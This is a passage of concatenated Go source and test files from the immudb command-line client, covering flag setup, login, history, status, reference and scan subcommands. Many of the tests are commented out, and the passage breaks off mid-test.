ts := tokenservice.NewTokenService().WithTokenFileName("testTokenFile").WithHds(&test.HomedirServiceMock{}) ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts) ic. Connect(bs.Dialer) ic.Login("immudb") cmdl := commandline{ config: helper.Config{Name: "immuclient"}, immucl: ic.Imc, } cmd, _ := cmdl.NewCmd() cmdl.rawSafeGetKey(cmd) cmdl.safeset(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) cmd.SetArgs([]string{"safeset", "key", "value"}) // remove ConfigChain method to avoid options override cmd.PersistentPreRunE = nil cmd.Commands()[0].PersistentPreRunE = nil cmd.Commands()[1].PersistentPreRunE = nil // since we issue two commands we need to remove PersistentPostRun ( disconnect ) cmd.Commands()[1].PersistentPostRun = nil err := cmd.Execute() require.NoError(t, err) cmd.SetArgs([]string{"rawsafeget", "key"}) err = cmd.Execute() require.NoError(t, err) msg, err := ioutil.ReadAll(b) require.NoError(t, err) require.Contains(t, string(msg), "hash") } */ ================================================ FILE: cmd/immuclient/command/init.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuclient import ( "fmt" "os" "github.com/codenotary/immudb/pkg/client" "github.com/spf13/cobra" "github.com/spf13/viper" ) func (cl *commandline) configureFlags(cmd *cobra.Command) error { cmd.PersistentFlags().IntP("immudb-port", "p", client.DefaultOptions().Port, "immudb port number") cmd.PersistentFlags().StringP("immudb-address", "a", client.DefaultOptions().Address, "immudb host address") cmd.PersistentFlags().StringVar(&cl.config.CfgFn, "config", "", "config file (default path are configs or $HOME. Default filename is immuclient.toml)") cmd.PersistentFlags().String("username", "", "immudb username used to login") cmd.PersistentFlags().String("password", "", "immudb password used to login; can be plain-text or base64 encoded (must be prefixed with 'enc:' if it is encoded)") cmd.PersistentFlags().String("database", "", "immudb database to be used") cmd.PersistentFlags().String( "tokenfile", client.DefaultOptions().TokenFileName, fmt.Sprintf( "authentication token file (default path is $HOME or binary location; default filename is %s)", client.DefaultOptions().TokenFileName)) cmd.PersistentFlags().BoolP("mtls", "m", client.DefaultOptions().MTLs, "enable mutual tls") cmd.PersistentFlags().Int("max-recv-msg-size", client.DefaultOptions().MaxRecvMsgSize, "max message size in bytes the client can receive") cmd.PersistentFlags().String("servername", client.DefaultMTLsOptions().Servername, "used to verify the hostname on the returned certificates") cmd.PersistentFlags().String("certificate", client.DefaultMTLsOptions().Certificate, "server certificate file path") cmd.PersistentFlags().String("pkey", client.DefaultMTLsOptions().Pkey, "server private key path") cmd.PersistentFlags().String("clientcas", client.DefaultMTLsOptions().ClientCAs, "clients certificates list. Aka certificate authority") cmd.PersistentFlags().Bool("value-only", false, "returning only values for get operations") cmd.PersistentFlags().String("revision-separator", "@", "Separator between the key name and a revision number when doing a get operation, use empty string to disable") cmd.PersistentFlags().String("roots-filepath", "/tmp/", "Filepath for storing root hashes after every successful audit loop. Default is tempdir of every OS.") cmd.PersistentFlags().String("dir", os.TempDir(), "Main directory for audit process tool to initialize") cmd.PersistentFlags().String("audit-username", "", "immudb username used to login during audit") cmd.PersistentFlags().String("audit-password", "", "immudb password used to login during audit; can be plain-text or base64 encoded (must be prefixed with 'enc:' if it is encoded)") cmd.PersistentFlags().String("audit-databases", "", "Optional comma-separated list of databases (names) to be audited. Can be full name(s) or just name prefix(es).") cmd.PersistentFlags().String("audit-notification-url", "", "If set, auditor will send a POST request at this URL with audit result details.") cmd.PersistentFlags().String("audit-notification-username", "", "Username used to authenticate when publishing audit result to 'audit-notification-url'.") cmd.PersistentFlags().String("audit-notification-password", "", "Password used to authenticate when publishing audit result to 'audit-notification-url'.") cmd.PersistentFlags().String("audit-monitoring-host", "0.0.0.0", "Host for the monitoring HTTP server when running in audit mode (serves endpoints like metrics, health and version).") cmd.PersistentFlags().Int("audit-monitoring-port", 9477, "Port for the monitoring HTTP server when running in audit mode (serves endpoints like metrics, health and version).") cmd.PersistentFlags().String("server-signing-pub-key", "", "Path to the public key to verify signatures when presents") viper.BindPFlag("immudb-port", cmd.PersistentFlags().Lookup("immudb-port")) viper.BindPFlag("immudb-address", cmd.PersistentFlags().Lookup("immudb-address")) viper.BindPFlag("username", cmd.PersistentFlags().Lookup("username")) viper.BindPFlag("password", cmd.PersistentFlags().Lookup("password")) viper.BindPFlag("database", cmd.PersistentFlags().Lookup("database")) viper.BindPFlag("tokenfile", cmd.PersistentFlags().Lookup("tokenfile")) viper.BindPFlag("mtls", cmd.PersistentFlags().Lookup("mtls")) viper.BindPFlag("max-recv-msg-size", cmd.PersistentFlags().Lookup("max-recv-msg-size")) viper.BindPFlag("servername", cmd.PersistentFlags().Lookup("servername")) viper.BindPFlag("certificate", cmd.PersistentFlags().Lookup("certificate")) viper.BindPFlag("pkey", cmd.PersistentFlags().Lookup("pkey")) viper.BindPFlag("clientcas", cmd.PersistentFlags().Lookup("clientcas")) viper.BindPFlag("value-only", cmd.PersistentFlags().Lookup("value-only")) viper.BindPFlag("revision-separator", cmd.PersistentFlags().Lookup("revision-separator")) viper.BindPFlag("roots-filepath", cmd.PersistentFlags().Lookup("roots-filepath")) viper.BindPFlag("dir", cmd.PersistentFlags().Lookup("dir")) viper.BindPFlag("audit-username", cmd.PersistentFlags().Lookup("audit-username")) viper.BindPFlag("audit-password", cmd.PersistentFlags().Lookup("audit-password")) viper.BindPFlag("audit-databases", cmd.PersistentFlags().Lookup("audit-databases")) viper.BindPFlag("audit-notification-url", cmd.PersistentFlags().Lookup("audit-notification-url")) viper.BindPFlag("audit-notification-username", cmd.PersistentFlags().Lookup("audit-notification-username")) viper.BindPFlag("audit-notification-password", cmd.PersistentFlags().Lookup("audit-notification-password")) viper.BindPFlag("audit-monitoring-host", cmd.PersistentFlags().Lookup("audit-monitoring-host")) viper.BindPFlag("audit-monitoring-port", cmd.PersistentFlags().Lookup("audit-monitoring-port")) viper.BindPFlag("server-signing-pub-key", cmd.PersistentFlags().Lookup("server-signing-pub-key")) viper.SetDefault("immudb-port", client.DefaultOptions().Port) viper.SetDefault("immudb-address", client.DefaultOptions().Address) viper.SetDefault("password", "") viper.SetDefault("username", "") viper.SetDefault("database", "") viper.SetDefault("tokenfile", client.DefaultOptions().TokenFileName) viper.SetDefault("mtls", client.DefaultOptions().MTLs) viper.SetDefault("max-recv-msg-size", client.DefaultOptions().MaxRecvMsgSize) viper.SetDefault("servername", client.DefaultMTLsOptions().Servername) viper.SetDefault("certificate", client.DefaultMTLsOptions().Certificate) viper.SetDefault("pkey", client.DefaultMTLsOptions().Pkey) viper.SetDefault("clientcas", client.DefaultMTLsOptions().ClientCAs) viper.SetDefault("value-only", false) viper.SetDefault("revision-separator", "@") viper.SetDefault("roots-filepath", os.TempDir()) viper.SetDefault("audit-password", "") viper.SetDefault("audit-username", "") viper.SetDefault("audit-databases", "") viper.SetDefault("audit-notification-url", "") viper.SetDefault("audit-notification-username", "") viper.SetDefault("audit-notification-password", "") viper.SetDefault("audit-monitoring-host", "0.0.0.0") viper.SetDefault("audit-monitoring-port", 9477) viper.SetDefault("server-signing-pub-key", "") viper.SetDefault("dir", os.TempDir()) return nil } ================================================ FILE: cmd/immuclient/command/init_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuclient import ( "testing" "github.com/codenotary/immudb/cmd/helper" "github.com/stretchr/testify/require" "github.com/spf13/cobra" ) func _TestInit(t *testing.T) { cm := NewCommand() require.Len(t, cm.Commands(), 28, "fail immuclient commands, wrong number of expected commands") } func TestConnect(t *testing.T) { ic := setupTest(t) cmd := commandline{ config: helper.Config{Name: "immuclient"}, immucl: ic.Imc, } _ = cmd.connect(&cobra.Command{}, []string{}) cmd.disconnect(&cobra.Command{}, []string{}) } ================================================ FILE: cmd/immuclient/command/login.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuclient import ( "github.com/spf13/cobra" ) func (cl *commandline) login(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "login username (you may be prompted for password)", Short: "Login using the specified username and password", Aliases: []string{"l"}, PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { resp, err := cl.immucl.Login(args) if err != nil { cl.quit(err) } fprintln(cmd.OutOrStdout(), resp) return nil }, Args: cobra.MaximumNArgs(1), } cmd.AddCommand(ccmd) } func (cl *commandline) logout(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "logout", Aliases: []string{"x"}, PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { resp, err := cl.immucl.Logout(args) if err != nil { cl.quit(err) } fprintln(cmd.OutOrStdout(), resp) return nil }, Args: cobra.NoArgs, } cmd.AddCommand(ccmd) } ================================================ FILE: cmd/immuclient/command/login_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuclient import ( "bytes" "io/ioutil" "testing" "github.com/codenotary/immudb/cmd/helper" test "github.com/codenotary/immudb/cmd/immuclient/immuclienttest" "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/client/tokenservice" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" "github.com/stretchr/testify/require" ) func TestLogin(t *testing.T) { options := server.DefaultOptions().WithDir(t.TempDir()) bs := servertest.NewBufconnServer(options) bs.Start() t.Cleanup(func() { bs.Stop() }) ts := tokenservice.NewInmemoryTokenService() ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts, client.DefaultOptions().WithDir(t.TempDir())) ic.Connect(bs.Dialer) cmdl := commandline{ config: helper.Config{Name: "immuclient"}, immucl: ic.Imc, } cmd, _ := cmdl.NewCmd() cmdl.login(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) cmd.SetArgs([]string{"login", "immudb"}) // remove ConfigChain method to avoid options override cmd.PersistentPreRunE = nil innercmd := cmd.Commands()[0] innercmd.PersistentPreRunE = nil // since we issue two commands we need to remove PersistentPostRun ( disconnect ) innercmd.PersistentPostRun = nil err := cmd.Execute() require.NoError(t, err) msg, err := ioutil.ReadAll(b) require.NoError(t, err) require.Contains(t, string(msg), "Successfully logged in") cmd, err = cmdl.NewCmd() require.NoError(t, err) cmdl.logout(cmd) cmd.SetOut(b) cmd.SetArgs([]string{"logout"}) // remove ConfigChain method to avoid options override cmd.PersistentPreRunE = nil innercmd = cmd.Commands()[0] innercmd.PersistentPreRunE = nil err = cmd.Execute() require.NoError(t, err) _, err = ioutil.ReadAll(b) require.NoError(t, err) } ================================================ FILE: cmd/immuclient/command/misc.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuclient import ( "github.com/codenotary/immudb/cmd/immuclient/audit" "github.com/codenotary/immudb/cmd/immuclient/cli" service "github.com/codenotary/immudb/cmd/immuclient/service/constants" "github.com/spf13/cobra" ) func (cl *commandline) history(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "history key", Short: "Fetch history for the item having the specified key", Aliases: []string{"h"}, PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { resp, err := cl.immucl.History(args) if err != nil { cl.quit(err) } fprintln(cmd.OutOrStdout(), resp) return nil }, Args: cobra.ExactArgs(1), } cmd.AddCommand(ccmd) } func (cl *commandline) status(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "status", Short: "Ping to check if server connection is alive", Aliases: []string{"p"}, PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { resp, err := cl.immucl.CurrentState(args) if err != nil { cl.quit(err) } fprintln(cmd.OutOrStdout(), resp) return nil }, Args: cobra.NoArgs, } cmd.AddCommand(ccmd) } func (cl *commandline) auditmode(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "audit-mode command", Short: "Starts immuclient as daemon in auditor mode. Run 'immuclient help audit-mode' or use -h flag for details", Aliases: []string{"audit-mode"}, Example: service.UsageExamples, ValidArgs: []string{"start", "install", "uninstall", "restart", "stop", "status"}, RunE: func(cmd *cobra.Command, args []string) error { if err := audit.Init(args, cmd.Parent()); err != nil { cl.quit(err) } return nil }, } cmd.AddCommand(ccmd) } // #TODO will be new root. func (cl *commandline) interactiveCli(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "it", Short: "Starts immuclient in CLI mode. Use 'help' in the shell or the -h flag for details", Aliases: []string{"cli-mode"}, Example: cli.Init(cl.immucl).HelpMessage(), RunE: func(cmd *cobra.Command, args []string) error { if err := cl.immucl.Connect(args); err != nil { cl.quit(err) } cli.Init(cl.immucl).Run() return nil }, } cmd.AddCommand(ccmd) } func (cl *commandline) use(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "use", Short: "Select database", Example: "use {database_name}", PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, ValidArgs: []string{"databasename"}, RunE: func(cmd *cobra.Command, args []string) error { resp, err := cl.immucl.UseDatabase(args) if err != nil { cl.quit(err) } fprintln(cmd.OutOrStdout(), resp) return nil }, Args: cobra.MinimumNArgs(1), } cmd.AddCommand(ccmd) } ================================================ FILE: cmd/immuclient/command/misc_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuclient /* import ( "bytes" "io/ioutil" "os" "strings" "testing" "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/client" test "github.com/codenotary/immudb/cmd/immuclient/immuclienttest" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" ) func TestHistory(t *testing.T) { options := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() ts := tokenservice.NewTokenService().WithTokenFileName("testTokenFile").WithHds(&test.HomedirServiceMock{}) ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts) ic. Connect(bs.Dialer) ic.Login("immudb") cmdl := commandline{ config: helper.Config{Name: "immuclient"}, immucl: ic.Imc, } cmd, _ := cmdl.NewCmd() cmdl.history(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) cmdl.immucl.SafeSet([]string{"key", "value"}) cmd.SetArgs([]string{"history", "key"}) // remove ConfigChain method to avoid options override cmd.PersistentPreRunE = nil innercmd := cmd.Commands()[0] innercmd.PersistentPreRunE = nil err := cmd.Execute() require.NoError(t, err) msg, err := ioutil.ReadAll(b) require.NoError(t, err) require.Contains(t, string(msg), "hash") } func TestStatus(t *testing.T) { defer os.Remove(".root-") options := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() ts := tokenservice.NewTokenService().WithTokenFileName("testTokenFile").WithHds(&test.HomedirServiceMock{}) ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts) ic. Connect(bs.Dialer) ic.Login("immudb") cmdl := commandline{ config: helper.Config{Name: "immuclient"}, immucl: ic.Imc, } cmd, _ := cmdl.NewCmd() cmdl.status(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) cmdl.immucl.SafeSet([]string{"key", "value"}) cmd.SetArgs([]string{"status"}) // remove ConfigChain method to avoid options override cmd.PersistentPreRunE = nil innercmd := cmd.Commands()[0] innercmd.PersistentPreRunE = nil err := cmd.Execute() require.NoError(t, err) msg, err := ioutil.ReadAll(b) require.NoError(t, err) require.Contains(t, string(msg), "Health check OK") } func TestUseDatabase(t *testing.T) { options := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() ts := tokenservice.NewTokenService().WithTokenFileName("testTokenFile").WithHds(&test.HomedirServiceMock{}) ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts) ic. Connect(bs.Dialer) ic.Login("immudb") cmdl := commandline{ config: helper.Config{Name: "immuclient"}, immucl: ic.Imc, } _, err := ic.Imc.CreateDatabase([]string{"mynewdb"}) require.NoError(t, err) cmd, _ := cmdl.NewCmd() cmdl.use(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) cmd.SetArgs([]string{"use", "mynewdb"}) // remove ConfigChain method to avoid options override cmd.PersistentPreRunE = nil innercmd := cmd.Commands()[0] innercmd.PersistentPreRunE = nil err = cmd.Execute() require.NoError(t, err) msg, err := ioutil.ReadAll(b) require.NoError(t, err) require.Contains(t, string(msg), "mynewdb") } */ ================================================ FILE: cmd/immuclient/command/references.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuclient import ( "github.com/spf13/cobra" ) func (cl *commandline) reference(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "reference refkey key", Short: "Add new reference to an existing key", Aliases: []string{"r"}, PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { resp, err := cl.immucl.SetReference(args) if err != nil { cl.quit(err) } fprintln(cmd.OutOrStdout(), resp) return nil }, Args: cobra.MinimumNArgs(1), } cmd.AddCommand(ccmd) } func (cl *commandline) safereference(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "safereference refkey key", Short: "Add and verify new reference to an existing key", Aliases: []string{"sr"}, PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { resp, err := cl.immucl.VerifiedSetReference(args) if err != nil { cl.quit(err) } fprintln(cmd.OutOrStdout(), resp) return nil }, Args: cobra.MinimumNArgs(1), } cmd.AddCommand(ccmd) } ================================================ FILE: cmd/immuclient/command/references_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuclient /* import ( "bytes" "io/ioutil" "os" "strings" "testing" "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/client" test "github.com/codenotary/immudb/cmd/immuclient/immuclienttest" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" ) func TestReference(t *testing.T) { options := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() ts := tokenservice.NewTokenService().WithTokenFileName("testTokenFile").WithHds(&test.HomedirServiceMock{}) ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts) ic. Connect(bs.Dialer) ic.Login("immudb") cmdl := commandline{ config: helper.Config{Name: "immuclient"}, immucl: ic.Imc, } cmd, _ := cmdl.NewCmd() cmdl.reference(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) cmdl.immucl.SafeSet([]string{"key", "value"}) cmd.SetArgs([]string{"reference", "key1", "key"}) // remove ConfigChain method to avoid options override cmd.PersistentPreRunE = nil innercmd := cmd.Commands()[0] innercmd.PersistentPreRunE = nil err := cmd.Execute() require.NoError(t, err) msg, err := ioutil.ReadAll(b) require.NoError(t, err) require.Contains(t, string(msg), "hash") } func TestSafeReference(t *testing.T) { defer os.Remove(".root-") options := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() ts := tokenservice.NewTokenService().WithTokenFileName("testTokenFile").WithHds(&test.HomedirServiceMock{}) ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts) ic. Connect(bs.Dialer) ic.Login("immudb") cmdl := commandline{ config: helper.Config{Name: "immuclient"}, immucl: ic.Imc, } cmd, _ := cmdl.NewCmd() cmdl.safereference(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) cmdl.immucl.SafeSet([]string{"key", "value"}) cmd.SetArgs([]string{"safereference", "key1", "key"}) // remove ConfigChain method to avoid options override cmd.PersistentPreRunE = nil innercmd := cmd.Commands()[0] innercmd.PersistentPreRunE = nil err := cmd.Execute() require.NoError(t, err) msg, err := ioutil.ReadAll(b) require.NoError(t, err) require.Contains(t, string(msg), "hash") } */ ================================================ FILE: cmd/immuclient/command/root.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuclient import ( "github.com/codenotary/immudb/cmd/immuclient/cli" "github.com/spf13/cobra" ) // NewCmd ... func (cl *commandline) NewCmd() (*cobra.Command, error) { cmd := &cobra.Command{ Use: "immuclient", Short: "CLI client for immudb - the lightweight, high-speed immutable database for systems and applications", Long: `CLI client for immudb - the lightweight, high-speed immutable database for systems and applications. immudb documentation: https://docs.immudb.io/ Environment variables: IMMUCLIENT_IMMUDB_ADDRESS=127.0.0.1 IMMUCLIENT_IMMUDB_PORT=3322 IMMUCLIENT_AUTH=true IMMUCLIENT_USERNAME=username IMMUCLIENT_PASSWORD=password IMMUCLIENT_DATABASE=database IMMUCLIENT_MTLS=false IMMUCLIENT_MAX_RECV_MSG_SIZE=4194304 IMMUCLIENT_SERVERNAME=localhost IMMUCLIENT_PKEY=./tools/mtls/4_client/private/localhost.key.pem IMMUCLIENT_CERTIFICATE=./tools/mtls/4_client/certs/localhost.cert.pem IMMUCLIENT_CLIENTCAS=./tools/mtls/2_intermediate/certs/ca-chain.cert.pem IMMUCLIENT_SERVER_SIGNING_PUB_KEY= IMMUCLIENT_REVISION_SEPARATOR=@ IMPORTANT: All get and safeget functions return base64-encoded keys and values, while all set and safeset functions expect base64-encoded inputs.`, DisableAutoGenTag: true, PersistentPreRunE: cl.ConfigChain(nil), RunE: func(cmd *cobra.Command, args []string) error { err := cl.immucl.Connect(args) if err != nil { cl.quit(err) } cli.Init(cl.immucl).Run() return nil }, } if err := cl.configureFlags(cmd); err != nil { return nil, err } return cmd, nil } ================================================ FILE: cmd/immuclient/command/scanners.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuclient import ( "github.com/spf13/cobra" ) func (cl *commandline) zScan(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "zscan setname", Short: "Iterate over a sorted set", Aliases: []string{"zscn"}, PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { resp, err := cl.immucl.ZScan(args) if err != nil { cl.quit(err) } fprintln(cmd.OutOrStdout(), resp) return nil }, Args: cobra.ExactArgs(1), } cmd.AddCommand(ccmd) } func (cl *commandline) scan(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "scan prefix", Short: "Iterate over keys having the specified prefix", Aliases: []string{"scn"}, PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { resp, err := cl.immucl.Scan(args) if err != nil { cl.quit(err) } fprintln(cmd.OutOrStdout(), resp) return nil }, Args: cobra.ExactArgs(1), } cmd.AddCommand(ccmd) } func (cl *commandline) count(cmd *cobra.Command) { ccmd := &cobra.Command{ Use: "count keys", Short: "Count keys having the specified value", Aliases: []string{"cnt"}, PersistentPreRunE: cl.ConfigChain(cl.connect), PersistentPostRun: cl.disconnect, RunE: func(cmd *cobra.Command, args []string) error { resp, err := cl.immucl.Count(args) if err != nil { cl.quit(err) } fprintln(cmd.OutOrStdout(), resp) return nil }, Args: cobra.ExactArgs(1), } cmd.AddCommand(ccmd) } ================================================ FILE: cmd/immuclient/command/scanners_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package immuclient /* import ( "bytes" "io/ioutil" "os" "strings" "testing" "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/client" test "github.com/codenotary/immudb/cmd/immuclient/immuclienttest" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" ) func TestZScan(t *testing.T) { defer os.Remove(".root-") options := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() ts := tokenservice.NewTokenService().WithTokenFileName("testTokenFile").WithHds(&test.HomedirServiceMock{}) ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts) ic. Connect(bs.Dialer) ic.Login("immudb") cmdl := commandline{ config: helper.Config{Name: "immuclient"}, immucl: ic.Imc, } cmd, _ := cmdl.NewCmd() cmdl.zScan(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) cmdl.immucl.SafeSet([]string{"key", "value"}) cmdl.immucl.ZAdd([]string{"set", "10.5", "key"}) cmd.SetArgs([]string{"zscan", "set"}) // remove ConfigChain method to avoid options override cmd.PersistentPreRunE = nil innercmd := cmd.Commands()[0] innercmd.PersistentPreRunE = nil err := cmd.Execute() require.NoError(t, err) msg, err := ioutil.ReadAll(b) require.NoError(t, err) require.Contains(t, string(msg), "hash") } func TestIScan(t *testing.T) { defer os.Remove(".root-") options := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() ts := tokenservice.NewTokenService().WithTokenFileName("testTokenFile").WithHds(&test.HomedirServiceMock{}) ic := test.NewClientTest(&test.PasswordReader{ Pass: []string{"immudb"}, }, ts) ic. Connect(bs.Dialer) ic.Login("immudb") cmdl := commandline{ config: helper.Config{Name: "immuclient"}, immucl: ic.Imc, } cmd, _ := cmdl.NewCmd() cmdl.iScan(cmd) b := bytes.NewBufferString("") cmd.SetOut(b) cmdl.immucl.SafeSet([]string{"key", "value"}) cmd.SetArgs([]string{"iscan", "0", "1"}) // remove ConfigChain method to avoid options override cmd.PersistentPreRunE = nil innercmd := cmd.Commands()[0] innercmd.PersistentPreRunE = nil err := cmd.Execute() require.NoError(t, err) msg, err := ioutil.ReadAll(b) require.NoError(t, err) require.Contains(t, string(msg), "hash") } func TestScan(t *testing.T) { defer os.Remove(".root-") options := server.Options{}.WithAuth(true).WithInMemoryStore(true).WithAdminPassword(auth.SysAdminPassword) bs := servertest.NewBufconnServer(options) bs.Start() defer bs.Stop() ts := 